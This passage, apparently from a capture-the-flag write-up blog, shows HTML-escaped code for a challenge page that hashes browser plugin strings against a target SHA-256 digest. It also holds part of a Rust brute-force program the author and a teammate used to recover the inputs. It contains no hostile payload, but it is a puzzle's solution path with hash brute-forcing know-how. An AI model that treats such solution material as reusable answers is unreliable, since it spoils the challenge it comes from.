class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;// Using getUint32 reduces the number of iterations needed (we process 4 bytes each time)&lt;/span&gt;
            &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;value&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;view&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getUint32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;// toString(16) will give the hex representation of the number without padding&lt;/span&gt;
            &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;stringValue&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;value&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;// We use concatenation and slice for padding&lt;/span&gt;
            &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;padding&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;00000000&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;
            &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;paddedValue&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;padding&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;stringValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;slice&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;padding&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;hexCodes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;paddedValue&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;// Join all the hex strings into one&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;hexCodes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;join&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;navigator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;plugins&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;logme&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;plugin0name&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;navigator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;plugins&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;logme&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;plugin0desc&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;navigator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;plugins&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;navigator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;plugins&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;logme&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;plugin1name&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;navigator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;plugins&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;logme&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;plugin1desc&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;navigator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;plugins&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;navigator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;plugins&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;filename&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;navigator&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;plugins&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;description&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

    &lt;span class=&quot;nx&quot;&gt;logme&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;nx&quot;&gt;sha256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;digest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nx&quot;&gt;logme&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;digest&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;digest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;digest&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;31c6b7c46ff55afc8c5e64f42cc9b48dde6a04b5ca434038cd2af8bd3fd1483a&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;logme&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;gotit!&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;logme&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;flag&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;fail!&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;innerHTML&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;logText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;nt&quot;&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;I then hosted a version of this and used &lt;a href=&quot;http://browsershots.org/&quot;&gt;BrowserShots&lt;/a&gt; to take screenshots of it in many versions. Most crashed for lack of various APIs/values and none were correct.&lt;/p&gt;

&lt;p&gt;My next idea was to brute force the hash by trying all the reasonable combinations of numbers and plugin strings.&lt;/p&gt;

&lt;p&gt;I spent an hour writing a Rust program to brute force it that computed the strings and digests in the same way, including UTF-16 conversion and converting to hex. Then I checked that it could find the values for my browser’s digest. I entered a lot of possible plugin values and reasonable ranges for numbers based on the browser screenshots, but couldn’t find the correct one despite searching millions of combinations.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;So, I gave up.&lt;/strong&gt; Then later got a Slack ping that my teammate &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nopple&lt;/code&gt; had solved it. He had taken my Rust program and added some extra plugin strings I had missed from the browser screenshots (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;libpepflashplayer.so&lt;/code&gt; turned out to be the key).&lt;/p&gt;

&lt;div class=&quot;language-rust highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;extern&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;crate&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;byteorder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;extern&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;crate&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sha2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;sha2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Sha256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Digest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;byteorder&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LittleEndian&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;WriteBytesExt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;use&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;std&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nn&quot;&gt;fmt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Write&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;to_utf16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Vec&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;u8&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Vec&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;with_capacity&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;point&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.encode_utf16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;&lt;span class=&quot;py&quot;&gt;.write_u16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;LittleEndian&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;point&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.unwrap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;out&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;to_hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;u8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nd&quot;&gt;assert_eq!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.len&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;with_capacity&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bytes&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nd&quot;&gt;write!&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;{:02x}&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;byte&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.unwrap&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;u8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;mut&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hasher&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Sha256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;::&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;default&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;hasher&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;bytes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;let&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;output&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;hasher&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;to_hex&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;output&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;.as_slice&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nd&quot;&gt;#[derive(Debug)]&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Browser&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;online&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bool&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;vendor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;&apos;static&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;mimes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;u16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;navs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;u16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;wins&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;u16&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;plug_name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;&apos;static&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
